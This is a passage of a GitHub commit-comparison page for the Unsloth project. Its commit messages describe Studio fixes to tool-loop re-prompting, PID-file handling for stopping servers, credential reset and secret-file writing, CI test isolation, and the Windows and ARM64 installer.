Compare commits

..

402 commits

Author SHA1 Message Date
Nilay
22493242a3
Studio: Don't re-prompt finished answers in the tool loop (#7505)
* don't re-prompt finished answers in the tool loop

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* keep a separate post-tool reprompt budget and tighten the intent regexes

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Reset the repeat guard after a tool runs and suppress 'I should call ...' forced stalls

* Cover 'must' in forced-retry suppression, keep appended answers, and count RAG autoinject as a prior tool run

* Anchor obligation suppression to sentence starts and wire the repeat guard into the safetensors loop

* Keep deletions out of restatement and nudge pronoun-free first-step plans

* Tighten repeat similarity, anchor subjectless plans, and restore first-step plan forms

* Keep first-person plan framing and punctuation-bearing terms out of repeat detection

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep leading term punctuation, accept colon-delimited first steps, and drop invoke/query from suppression

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments on the plan-without-action re-prompt guards

* Compare plans by token sequence, suppress subjectless modals, and accept dash-delimited first steps

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: narrow the first-step plan match and make repeat detection content-based

Restrict the bare "First, <word>" intent alternative to a pronoun, an explicit
plan, or an investigative verb, so ordinal prose ("First place went to Alice")
and user-facing advice ("First, install the package") no longer count as a plan
without action.

Keep punctuation-only tokens in the repeat comparison, so "the value is 5" and
"the value is < 5" stay distinct, and compare content-word sequences instead of
a similarity ratio: any ratio is length-dependent, so one corrected token in a
54-token plan still scored 0.98 and cost the model its remaining nudge.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: tighten comments in the plan-without-action re-prompt path

* studio: keep a forced retry that pivots from a plan to an answer

The obligation-plan branch discarded the whole turn, so a retry such as
"I should call web_search, but the answer is Tokyo." reached the user as
nothing at all. Suppress the plan only when nothing follows it: a pivot
after the match keeps the output, and _FINAL_ANSWER_SIGNAL now recognises
"the answer is" and "to summarise" alongside "answer:".

Leaking a plan sentence is cosmetic, dropping an answer is not, so the
doubtful case now resolves towards shipping the turn.

* studio: keep articles in repeat comparison and exclude missing-answer phrasing

Articles are not filler: dropping them made "search for The Who" and
"search for Who" compare equal, so a corrected target ended the nudge.

_FINAL_ANSWER_SIGNAL matched "the answer is not in the provided context",
which announces a missing answer, so the plan behind it shipped as the final
response instead of being suppressed. Negated forms are now excluded.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: tighten the pivot and final-answer signals, drop filler-insensitive repeats

The purpose clause in "call web_search to summarize the results" matched the
final-answer signal, so the plan shipped instead of being suppressed; that
alternative is gone. A pivot word now has to carry text of its own, since
"I should call web_search, though." answers nothing.

Repeat detection no longer ignores filler words. No word is reliably filler:
dropping them to absorb rewording also absorbed the target ("OK Go" became
"Go"). A missed repeat costs one nudge out of the cap; a false one strands the
plan unexecuted.

* studio: exempt offers of help, and add a measured accuracy floor

Offering to help hands control back exactly like the existing "let me know"
exemption. On a corpus of real model turns, "I'll do my best to help" and
"allow me to assist" close a clarification request and never precede a tool
call, but they were read as intent and re-prompted. "help you" keeps its plan
reading when an action verb follows it.

The new test scores the classifier against 300 turns captured from three local
GGUF models, each one a finished answer: the turn called no tool, and three
regenerations behind the production nudge produced no tool call either. Over
those turns, wasted nudges go from 36 (12.0%) on main to 5 (1.7%), and retries
whose text would be discarded from 60 (20.2%) to 1 (0.3%).

Until now these patterns were tuned on hand-written example sentences, which
cannot show how often the classifier is right on real output.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-29 02:38:17 -07:00
Suchitra Malimbada
7b211c30fe
Add test to guard against duplicate keys in __INT_TO_FLOAT_MAPPER (#7419)
* Add test to guard against duplicate keys in __INT_TO_FLOAT_MAPPER

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Refactor docstring in __INT_TO_FLOAT_MAPPER

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Name the encoding when reading mapper.py

tests/test_source_read_encoding.py requires every test that reads a
checked-in file to pass an explicit encoding, because open() with no
encoding uses the locale encoding, which is cp1252 on a stock Windows
install. Without this the new test fails that guard in the auto
discovered "Repo tests (CPU)" job.

Matches tests/test_gemma_2b_mapper_key.py, which reads the same file,
and adds the SPDX header new files in tests/ carry.

* Check nested precision dicts in the duplicate key guard

The registry nests a per-precision dict ("16" / "8") under 26 entries and
mapper.py reads those keys directly, so a duplicate there overwrites the
earlier mapping exactly like a top level duplicate. The guard only looked at
the top level keys. Walk every dict literal in the registry, count keys per
dict so "16" and "8" repeating across sibling entries stay legal, and report
the offending line numbers so a failure points straight at the entry.

* Tighten comments in the mapper duplicate key guard

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-29 02:37:10 -07:00
Daniel Han
3212710a4a
CI: wipe auth instead of reset-password in the agent-guides jobs (#7603)
Since #7573 reset-password rotates the credential in place and prints the new
passphrase to stdout, so these four steps were writing it unmasked into the job
log and no longer produced the clean auth state their name implies. They never
read .bootstrap_password (serve-unsloth-run.sh only parses the sk-unsloth key
off the banner), so the wipe the other ten studio-* workflows already use is the
right shape here too.
2026-07-29 01:57:20 -07:00
Nilay
ceef4123e6
Studio: Stop every running Unsloth server, not just the last one recorded (#7577)
* Stop every running Unsloth server, and refuse to start a second on a taken port

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Check the fallback range, guard PID reuse, and keep writing studio.pid

* Signal each server once when its PID is recorded in more than one file

* Confirm a recorded PID is a Studio server before signalling it

* Pin PID records to process start time and check every listener on a port

* Keep every recorded start time per PID and accept in-process Studio servers

* Match the blocking listener address and stop trusting unverifiable PID records

* Never delete a PID record that cannot be verified

* Detect our own server from our own records instead of a psutil listener scan

* Match a pre-upgrade studio.pid to the blocked port before falling back

* Never signal PID 0 or 1, and verify a per-port record before trusting it

* Stop unverifiable records instead of skipping them, and record every bind address

* Drop the command-line guess, fix Windows liveness, and free the PID record last

* Studio: harden the per-port PID records against the cases that lose a server

Follow-up on the per-port PID files. Each item below is a case where the new
code either lost a server the old code could still stop, or stopped something
that was not ours. All were reproduced against real Studio servers.

studio/backend/run.py

- Write the per-port record and the legacy studio.pid independently. They shared
  one try, so a studio root that could not take a new directory entry left the
  server recorded nowhere at all and unstoppable from the CLI; the old code
  still recorded it in studio.pid, which is an overwrite of an existing path and
  can still succeed. _remove_pid_file now also checks studio.pid when the
  per-port write failed.
- Write the record through a temp file and os.replace. `stop` reads these
  concurrently and treats a truncated read as a corrupt record.
- A failed Windows tasklist probe now means "alive", matching the CLI. Treating
  it as dead pruned a live server's record and let the next launch fall back
  past it, which is the orphan this work exists to fix.
- Guard the unlink in _own_studio_on_port. Pruning is a courtesy and must not
  abort startup.
- Extract _resolve_port so the requested-port abort is reachable from a test.
  Deleting that abort previously left the whole suite green.
- Keep the plain fallback for api-only callers. The desktop app hardcodes 8888
  and documents its reliance on the 8888-8908 range, and it reports a non-zero
  backend exit to the user as "Server stopped unexpectedly". It reads the bound
  port back from TAURI_PORT, as `studio run` does from app.state.server_port, so
  a fallback there is harmless and both servers are still recorded and
  stoppable. The interactive path prints the requested port, so it still aborts.
- isdigit() is not enough to gate int(): a superscript two passes it and the
  ValueError escaped into every caller of _read_pid_record.

unsloth_cli/commands/studio.py

- An untimed record no longer cancels a timed one for the same PID. Every
  current server writes both a timed per-port record and an untimed studio.pid,
  so the start-time check was inert exactly where it mattered, and after a crash
  plus a PID reuse `stop` sent SIGTERM to whatever unrelated process had
  inherited the PID.
- Distinguish an unreadable record from an invalid one. A root-owned record, or
  one caught mid-write, still belongs to a live server, and deleting it stranded
  that server.
- Route every PID-file removal through _unlink_quietly. One undeletable record
  raised PermissionError and left the remaining live servers running.
- Same isdigit()/int() guard as the backend.

Tests

- The requested-port abort, the recorded bind address, and the api-only
  fallback are now covered; all three previously survived deletion.
- tests/studio/test_studio_pid_file_contract.py pins run.py's filename scheme to
  the CLI's glob and keeps studio.pid parseable by an older CLI. It lives under
  tests/studio because unsloth_cli/tests is not run by any workflow.
- test_cli_studio_stop_windows.py now checks _signal_stop as well as stop. The
  kill moved into _signal_stop, so the os.kill(pid, 0) guard passed vacuously.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: let a caller that follows the port keep the fallback, and never take studio.pid from a live server

Two problems with keying the own-server abort on api_only.

`unsloth studio run` is not the bare-banner path: it stores `app = run_server(...)`
and reads `app.state.server_port` back, then uses it for the health wait, the
model load and the printed base URL. Gating on api_only aborted it, so starting
a second model while the first was up stopped working, where before it landed on
the next port and printed the right URL. Replace the proxy with an explicit
abort_if_own_studio, defaulting to the old api_only behaviour so the exec'd
`run.py` path is unchanged, and have `studio run` opt out.

The api_only exemption also reopened the orphan from the other side.
_write_pid_file overwrote studio.pid unconditionally, and a pre-upgrade server
is recorded there and nowhere else, so an exempt launch falling back past one
erased its only record. Take the file over only when it is free, already ours,
or held by a dead PID.

Also resync _pid_is_studio_backend with the CLI copy: an untimed record next to
a timed one carried no information but cancelled the start-time check, which is
what let a reused PID be treated as ours.

Tests: 51 backend, 26 CLI, 9 under tests/studio. Real Studio servers still abort
the bare same-port relaunch, still fall back past a foreign listener, and one
`unsloth studio stop` still stops every server in all five scenarios.

* Studio: hand over the legacy PID pointer, and fail stop on unreadable records

Two follow-ups from review of the previous commit.

Only one backend owns studio.pid at a time. When that server exited it
deleted the file, so an older CLI, which reads nothing else, could no
longer stop a sibling that was still serving. _remove_pid_file now hands
the pointer to a live sibling instead of dropping it.

_pid_file_entries skipped records it could not read, for instance one
written by a server started under sudo. When that was the only record,
stop printed "No running Unsloth server found" and exited 0 while the
server kept serving. Unreadable records are now reported and make stop
exit 1, so a partial stop is never mistaken for a complete one.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <unslothai@gmail.com>
2026-07-29 01:56:13 -07:00
Michael Han
4937b0dfc6
Studio: match the Deep research caret to the other composer pills (#7601)
The pill drew a 12px lucide chevron inside a wrapper span while every
other composer pill uses the shared 15px caret, so its arrow read
smaller than the one on the permission pill next to it.

Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
2026-07-29 01:53:24 -07:00
Nilay
52609fb890
Studio: reset-password rotates the credential in place instead of deleting auth.db (#7573)
* reset-password: rotate the admin credential in place instead of deleting auth.db

* reset-password: fix the CI callers and error handling for the in-place rotation

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* reset-password: narrow the CI change to the jobs that read .bootstrap_password

* reset-password: stop over-claiming what the reset revokes and when it takes effect

* auth: bind token issuance to the credential version that was verified

* auth: bind credential-creating writes to the version the request authenticated with

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* auth: bind the change-password and workflow-key writes to their own credential version

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* auth: read the credential version inside the transaction that validated it

* data-recipe: answer 401 when a reset revokes the credential mid job start

* Fix lint blocker and Windows path assertion for PR #7573

Drop the now-unused validate_api_key import from studio/backend/auth/authentication.py.
Every call site moved to validate_api_key_with_credential, so the Source lint job's
import-hoist gate flagged it as a blocker. The wrapper itself stays in storage.py;
test_api_key_expiry.py still exercises it.

Make test_run_reexec_forwards_resolved_frontend_on_public_launch compare against
str(Path(...)) instead of a POSIX literal. _find_frontend_dist returns a Path, so on
Windows the forwarded value is \fake\studio\frontend\dist and the assertion could
never pass there. Pre-existing, surfaced by running unsloth_cli/tests on Windows.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-29 01:40:12 -07:00
Daniel Han
5cebc46124
Make the unsloth_cli studio tests pass in isolation (#7599)
* Make the unsloth_cli studio tests pass in isolation

Six tests in test_studio_run_parallel_flag.py and one in
test_studio_secure_flag.py only passed in a full-directory run. All of them
reach the in-venv branch of run(), which does `from state.tool_policy import
set_tool_policy`. That module lives under studio/backend, so it only imports
once something has put that directory on sys.path, and nothing in either file
does. They were relying on test_start.py, which calls
ensure_studio_backend_path() and leaks the sys.path entry, or on
test_studio_cloudflare_flag.py, which stubs the module.

Add a stub_tool_policy_state fixture in a new conftest and use it in the seven,
so the state comes from the test rather than from whatever ran first.

Every file in unsloth_cli/tests now passes on its own, and the suite is stable
across four pytest-randomly seeds.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-29 01:33:19 -07:00
Daniel Han
0ed26297ed
Run unsloth_cli/tests in Backend CI (#7598)
unsloth_cli/tests had no CI at all. unsloth_cli/** was a paths trigger and a
ruff target, so the Backend CI job already fired on CLI changes but never ran
these 673 tests, which cover the studio launcher, the pre-exposure gate and the
auth secret writers. Four had been failing on main unnoticed.

Two were stale rather than broken code:

- test_studio_default_exposes_parallel_option pinned the plain --parallel
  default to 1, but #7455 deliberately moved _PARALLEL_DEFAULT_PLAIN to 4 so a
  new chat does not queue behind the previous one. Assert against the constant
  so the two cannot drift again.
- test_reexec_forwards_api_only expected --secure --api-only to re-exec. The
  pre-exposure gate now refuses that combination, because api-only serves no
  login page and the bootstrap deadline does not apply, so a seeded password
  could never be changed. Drop the case and assert the refusal instead.

Two only passed when a built frontend dist happened to be present, which it is
not in a fresh clone or on a runner. Both reach a public-launch path where the
missing-dist gate exits first, so they never got to the backend check and the
run_server call they are about. Stub _find_frontend_dist the way their siblings
already do.

Own step rather than folding into the tests/ discovery: pyproject's testpaths is
tests/, and this suite needs no PYTHONPATH or CUDA spoof, importing neither
unsloth nor torch. Its deps are already installed by the job (pydantic and
uvicorn, which brings click, via studio.txt; pyyaml explicitly).
2026-07-29 01:15:06 -07:00
Daniel Han
c70c1d2d89
Extract Get-HostMachineArch for the VC++ round-trip test (#7597)
#7549 taught Test-VCRedistInstalled to consult the host architecture before
trusting the System32 DLL, but the round-trip job dot-sources a fixed list of
functions out of setup.ps1 and that list did not gain the helper. Part A returns
early on the registry hit, so only the clean-box half reaches the call and the
job fails there with "Get-HostMachineArch is not recognized".

Reproduced by dot-sourcing the old list and calling Test-VCRedistInstalled, which
throws; with the helper added the same call returns.
2026-07-29 00:52:41 -07:00
Nilay
7348a20497
Studio: Write auth secret files with a trailing newline (#7576)
* Write auth secret files with a trailing newline

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Pin LF in the auth secret writers and migrate legacy files

Both writers used text mode, so on Windows the trailing newline became CRLF.
The Windows Studio smoke jobs run under bash and read the file with
OLD=$(cat ...), which strips the LF but leaves the CR attached, so the
credential goes into the login body as "<secret>\r" and the request fails.

Write bytes in the backend and pin newline in the CLI so the file is
"<secret>\n" on every platform. generate_bootstrap_password() also returned
early on an existing file, so upgraded installs kept the original problem;
it now rewrites anything that isn't already exactly "<secret>\n",
best-effort so a read-only auth dir cannot fail startup.

The raw test assertions used read_text(), which decodes CRLF back to "\n"
and would have stayed green on Windows. They read bytes now.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Run the newline migration on the path upgrades actually take

ensure_default_admin() short-circuits to _load_bootstrap_password() once the
admin row exists, so the normalisation added in the previous commit sat on
generate_bootstrap_password(), which only fresh installs reach. An upgraded
install kept its newline-less file. Both readers now share
_read_persisted_bootstrap_password().

Make the write atomic while it is here: it can now rewrite a live file, and a
partial write would destroy the only plaintext copy of the recovery
credential. Same mkstemp plus os.replace shape the CLI writer already uses.

Tests cover the upgrade path through ensure_default_admin(), a well-formed
file not being rewritten on every start, a failing migration not blocking
startup, and the atomic replace.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Normalise the bootstrap file in place so a cleared credential stays cleared

The rename-based rewrite could recreate the file: if a password change ran
clear_bootstrap_password(), or the CLI cleanup deleted it, between the read and
the write, os.replace put the revoked plaintext back on disk, where a later
auth.db reset would re-seed it.

Open the existing file without O_CREAT instead, so a deleted file cannot be
resurrected, and re-check the contents through that descriptor so an in-place
truncation or a rotated credential is not overwritten either.

That gives up the atomic rename, so the in-place path is restricted to
trailing-whitespace fixes. Every partial state is then the secret plus leftover
whitespace, which still strips to the same credential. Files with leading
whitespace are left alone; every reader strips, so they keep working.

Creation still goes through the atomic writer.

* Open the bootstrap file in binary mode and finish the write

Three defects in the in-place normalisation, all on the Windows upgrade path.

os.open does not add O_BINARY on Windows and CPython never changes the CRT
default of _O_TEXT, so the descriptor was in text mode: os.write turned the LF
straight back into CRLF and ftruncate then cut the LF off, leaving
"<secret>\r". That is the bug this PR exists to fix, reintroduced by the
migration itself, and it is a fixed point that never converges. os.read
translates in reverse too, so a genuinely CRLF file failed verification and was
silently skipped.

os.write may return having written fewer bytes than asked; ftruncate would then
NUL-extend the credential so it no longer matched the hash in auth.db.

os.fchmod only reached Windows in 3.13 and AttributeError is not OSError, so on
3.9 to 3.12 it escaped both handlers and aborted the first start after upgrade.

* Make the bootstrap normalisation append-only

clear_bootstrap_password() falls back to truncating the file through its own
descriptor when the unlink fails, which is what happens on Windows while this
one is open. That truncation could land after the equality check and before the
write, so the rewrite put the revoked plaintext back.

Append a single LF instead, and only to a file that is exactly the credential.
An append cannot restore a revoked secret: over a cleared file the result is a
lone newline, which strips to empty and reads back as no bootstrap password.
Releases before the newline wrote the password with no terminator at all, so
that is the only shape in the wild; anything else is left alone and keeps
working because every reader strips.

Never truncating also removes the short-write NUL-fill hazard entirely, so the
write loop is gone. O_BINARY stays: without it Windows would turn the appended
LF into CRLF.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix a typo in a bootstrap normalisation test name

* Tighten the bootstrap newline comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-29 00:50:19 -07:00
Michael Han
076c965723
Studio: make the run settings panel width draggable (#7566)
The chat run settings panel was fixed at 17rem. It now uses the same drag
handle as the sidebar, on its left edge, between 248px and 560px and capped
at 40% of the window. The width persists and syncs across tabs.

Reuses PanelResizeHandle and createPanelWidthStore, so behaviour matches the
sidebar exactly. The panel width key joins the preference reset list.

The system prompt overflow check now runs off a ResizeObserver attached
through a callback ref. A drag changes the width through a custom property
without re-rendering, and the collapsible section unmounts the textarea, so
a stored observer would miss both.
2026-07-28 22:31:43 -07:00
Daniel Han
9bfa18cdb0
Windows: unblock the consumer install on clean and no-winget machines (#7549)
* Windows: unblock the consumer install on clean and no-winget machines

Four independent things stop a clean Windows box today.

git was a hard Exit-SetupFailure in setup.ps1, justified as required by pip for
git+https:// deps and by npm. Neither holds on the consumer path: the unsloth-zoo
git+https URL is only used under STUDIO_LOCAL_INSTALL, node is a pinned
nodejs.org prebuilt that never touches system npm, and the frontend lockfile has
no VCS dependencies. It stays fatal for --local, where it really is needed.

Ensure-VCRedist was winget-only, so on hosts without winget (LTSC, Server,
managed corporate images) it silently did nothing while the install reported
success, and torch then failed to import on a missing VCRUNTIME140.dll. Adds a
direct aka.ms/vs/17/release/vc_redist.<arch>.exe download with /quiet /norestart,
accepting exit codes 0 and 3010. The redistributable stays required: it is the
runtime the prebuilt llama-server and torch link against, not the MSVC compiler,
which is already detection-only.

Windows on ARM has no PyTorch at all. Measured with uv against
download.pytorch.org/whl/cpu and PyPI for aarch64-pc-windows-msvc / cp313: torch,
torchvision and torchaudio all resolve to nothing, wheels exist only for
win_amd64 and the manylinux targets. The installer burned three uv retries on an
unsatisfiable resolution and reported a bare 'Failed to install PyTorch (exit
code 1)'. Now it says what is actually wrong and points at --no-torch, which
works because llama.cpp does publish windows-arm64-cpu.

install_node_prebuilt.py hit '[WinError 5] Access is denied' on os.replace of the
freshly extracted directory during a FRESH install, which is a scanner or indexer
holding handles for a moment. Retries only winerror 5, 32 and 145 with capped
exponential backoff; any other OSError still raises immediately.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Give the ARM64 dead end a recovery that works for web installs

The only remedy printed was .\install.ps1 --no-torch, but the documented path is
irm | iex, where no file exists and flags cannot be forwarded. Name the env var
the script already honours at line 145.

* Windows on ARM: drop torchaudio, do not abort the install

The fail-fast was based on a wrong premise. Counted against
download.pytorch.org/whl/cpu: torch has 42 win_arm64 wheels and torchvision 60;
only torchaudio has none. PyTorch has shipped Arm-native Windows builds since
April 2025, so aborting blocked a platform that mostly works. Drop the one
unsatisfiable pin instead.

Decide from the interpreter uv will resolve for, not the PowerShell host: an x64
CPython under emulation gets working win_amd64 wheels on an ARM64 box, and
powershell.exe inherits PROCESSOR_ARCHITECTURE from its parent.

* Carry the ARM64 torchaudio omission into studio setup

Dropping it from the first PyTorch command was not enough: install.ps1 then runs
studio setup with SKIP_STUDIO_BASE=1 and setup.ps1 reinstalls the bare trio from
the CPU index, so the ARM64 path still aborted. Apply the same interpreter-based
test there. An unreadable platform keeps the full trio.

* Build the torch spec list outside the verbose branch

The ARM64 guard landed inside `if ($script:UnslothVerbose)`, so on the default
path $_torchTrio was never assigned and the splat expanded to nothing: uv ran as
`uv pip install --index-url ...` with no package, exit 2, straight to
Exit-SetupFailure. That broke the ordinary Windows install. Hoist it above the
branch and use substep, which prints on both paths.

Realign the two parity guards to the splat form; they asserted the pre-refactor
literal command and were the actual cause of the red parity legs. Both halves
are still checked: the bounded list is built, and it reaches the install.

* Tighten the comments on the Windows install path

* Windows install: honour the ARM64 torchaudio skip everywhere and keep git for source builds

Hoist the venv-interpreter platform probe above every torch branch in
studio/setup.ps1 so the win_arm64 torchaudio omission applies to the ROCm,
CPU and CUDA/custom paths. A pinned index whose leaf is not cpu routed an
ARM64 host into the CUDA/custom branch, which still asked for torchaudio.

Require git again when a llama.cpp source build is opted into up front
(UNSLOTH_LLAMA_FORCE_COMPILE, UNSLOTH_LLAMA_PR / PR_FORCE, a non-upstream
source). Those paths git clone in phase 4, so setup used to report git as
not required, install the build toolchain, then fail at the clone. A local
llama.cpp dir overrides them, and the automatic source fallback after a
failed prebuilt download stays non-fatal.

Also tighten the comments across the changed install paths.

* Install the x64 VC++ runtime unconditionally in the direct-download fallback

The winget branch always installs Microsoft.VCRedist.2015+.x64, but the
direct-download fallback picked the package from PROCESSOR_ARCHITECTURE, which
reports the architecture of the running PowerShell process rather than the
interpreter that will load the DLLs. Find-CompatiblePython in install.ps1
selects an interpreter on version and non-Conda status alone, with no
architecture predicate, so a native ARM64 shell can settle on an emulated x64
Python whose win_amd64 torch and prebuilt llama-server need the x64 runtime,
while the fallback had just installed the ARM64-only package. Ensure-VCRedist
also runs well before the venv exists, so the interpreter cannot be probed at
that point. Microsoft ships the x64 redistributable as an Arm64X superset that
carries both ARM64 and x64 binaries, so it is correct on both machines and the
manual instruction printed on failure already pointed at it.

* Windows on ARM: prefer an x64 Python interpreter

An ARM64 host cannot complete the install with a native ARM64 interpreter.
pyarrow, pulled in by unsloth -> datasets, has never published a win_arm64
wheel on any version, and neither has hf-transfer, a direct dependency.
Both therefore fall back to a source build: pyarrow dies in scikit-build-core
CMake configuration and hf-transfer dies in openssl-sys for want of perl,
several minutes into a run that looked healthy. torch and torchvision are
not the problem, they have win_arm64 wheels and install fine.

Windows 11 on ARM runs x64 binaries under emulation and both packages ship
win_amd64 wheels, so an x64 interpreter installs cleanly.

Find-CompatiblePython accepted an interpreter on version and non-Conda
status alone. It now ranks candidates by architecture on ARM64 hosts and
returns an x64 one when present, asking each interpreter for its own
sysconfig.get_platform() rather than guessing from its path. Host
architecture comes from PROCESSOR_ARCHITEW6432 and OSArchitecture as well
as PROCESSOR_ARCHITECTURE, which describes only the current process and
reads AMD64 in an emulated shell.

This is a preference, not a requirement. If only ARM64 is found, x64 is
bootstrapped through winget --architecture x64 or the python.org fallback,
and if neither works the installer names pyarrow and hf-transfer up front
instead of failing later on a CMake or Rust error. The ARM64 torchaudio
skip stays live for that path.

Non-ARM hosts return on the first match exactly as before, with no extra
interpreter probing.

* Windows install: three correctness fixes on the ARM64 and git-less paths

Ensure-VCRedist never reached its x64 download on an ARM64 machine that already
had the arm64 redistributable: Test-VCRedistInstalled accepted System32\vcruntime140_1.dll
regardless of architecture, and there that file can be the pure-ARM64 package. An
ARM64 PE cannot load into an emulated x64 process, so the x64 Python this branch now
prefers would have been left without a usable runtime. The x64 registry entry is the
only x64-specific proof, and Microsoft registers Runtimes\{x86|x64|arm64} per
architecture, so vc_redist.x64.exe still writes Runtimes\x64 on an ARM64 host and the
check cannot loop. The DLL probe stays for x64 hosts.

Phase 1 demanded git for any non-blank UNSLOTH_LLAMA_PR_FORCE, but the promotion that
actually turns it into a source build requires a positive integer, so PR_FORCE=0 or a
non-numeric value aborted a git-less consumer install for a build that never runs. Both
sites now use the same predicate.

The automatic fallback after a failed prebuilt llama.cpp download reached git clone with
no git check anywhere in between, and Invoke-SetupCommand returns 0 for a command-not-found,
so a git-less host did not stop there: it continued into an empty directory and reported a
cmake configure failure instead. Git is now resolved where the source build is decided,
with a last winget attempt, and a missing git degrades exactly like a missing cmake rather
than aborting, since the opt-in source triggers already required git in Phase 1.

Also tightened the comments across the changed Windows install code, keeping the reasons
on the guards that prevent a specific failure.

* Rank ARM64 Python candidates by minor version before architecture

The x64 preference filtered the whole candidate list on architecture, which
outranks the version preference the candidates were collected in. With
UNSLOTH_PYTHON=3.12 on a Windows ARM64 box holding an ARM64 3.12 and an x64
3.13, it returned the x64 3.13: the explicit pin was silently broken, and
because a x64 interpreter was found the caller never ran Install-X64Python
to fetch an x64 3.12. With no pin it was worse still, since an x64 3.11
outranked a newer ARM64 3.13 and defeated the newest-first fallback.

Walk $minors in order and take the x64 build of the best minor available,
falling back to that minor's ARM64 build so the caller bootstraps x64 for
the version actually requested. x64 still wins within a minor, and non-ARM
hosts are untouched.

* Windows install: see every registered Python, order git before the toolchain

Find-CompatiblePython only ever probed `py -3.X`, which runs the launcher's
preferred build for that minor. On an ARM64 box that is the native ARM64
interpreter, so a same-minor x64 install that is registered with the launcher
but neither preferred nor on PATH never became a candidate. The x64 preference
then lost to ARM64, and Install-X64Python re-downloaded an x64 CPython that was
already on the machine; when that download is unavailable the install continues
on ARM64 and source-builds pyarrow and hf-transfer, which publish no win_arm64
wheels. Enumerate `py -0p` on ARM64 hosts and probe each listed path. The
`-3.12-64` suffix cannot be used for this: it has meant "not 32-bit" since 3.11
and does not distinguish arm64 from amd64.

studio/setup.ps1 ran Ensure-BuildToolsForLlamaSourceBuild before checking git in
Phase 4. That helper calls Exit-SetupFailure when Visual Studio Build Tools
cannot be installed, so on a clean no-winget box the git degraded path added by
this PR was unreachable and a standalone update aborted instead of finishing in
limited mode; where winget does exist it spent a multi-GB Build Tools download on
a clone that could never run. Check and install git first, skip the toolchain
helper when git is still missing, and report the git branch before the cmake
branch so the message names the real cause.

_swap_into_place retried the forward rename for about 16 seconds but rolled back
with a bare os.replace. A scanner holding the backup for the same WinError 5/32
then left no install_dir at all and stranded the working runtime in .old-*, and
its exception replaced the original failure. The rollback now uses the same
backoff and logs instead of masking the error it is recovering from.

* Installer: use an already installed x64 Python on ARM64 when none can be downloaded

Find-CompatiblePython ranks x64 within one minor and returns the native build
when that minor is ARM64-only, leaving Install-X64Python to bootstrap x64. On an
offline or winget-less box that bootstrap fails, and the retry went through the
same resolver, so an x64 build of a lower-priority supported minor already on the
machine was never picked up and setup continued on ARM64 Python, where pyarrow
and hf-transfer have no wheels.

Add an -X64Only mode that returns the best installed x64 interpreter or nothing,
and call it as the last resort in Install-X64Python. The version-first preference
is unchanged: x64 of the requested minor is still bootstrapped first.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments in the Windows ARM64 installer changes

* Setup: require Git for a source build behind an unbuilt local llama.cpp dir

UNSLOTH_LOCAL_LLAMA_CPP_DIR only overrides the source-build opt-ins once the
directory holds a reusable llama-server.exe. Pointing it at the canonical
install location with nothing built there falls through to the normal install,
so the Phase 1 gate now probes the same layout candidates as the Phase 4 reuse
check before dropping the requirement.

* Setup: require Git when UNSLOTH_LLAMA_TAG=master forces a source build

* Tighten comments in the Windows installer changes

* Setup: negotiate TLS 1.2 for the direct VC++ runtime download

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-28 22:24:40 -07:00
Daniel Han
bd3972804d
Measure where Studio's startup time actually goes (#7553)
* Measure where Studio's startup time actually goes

Nothing measured this. studio/backend/main.py logs 'lifespan startup completed in
X ms' but no test or CI job ever asserted a budget, a repo-wide grep for
startup_ms or time_to_ready matches only that one file, and studio_test_kit polls
/healthz in a loop that discards the elapsed time it already computes. Its
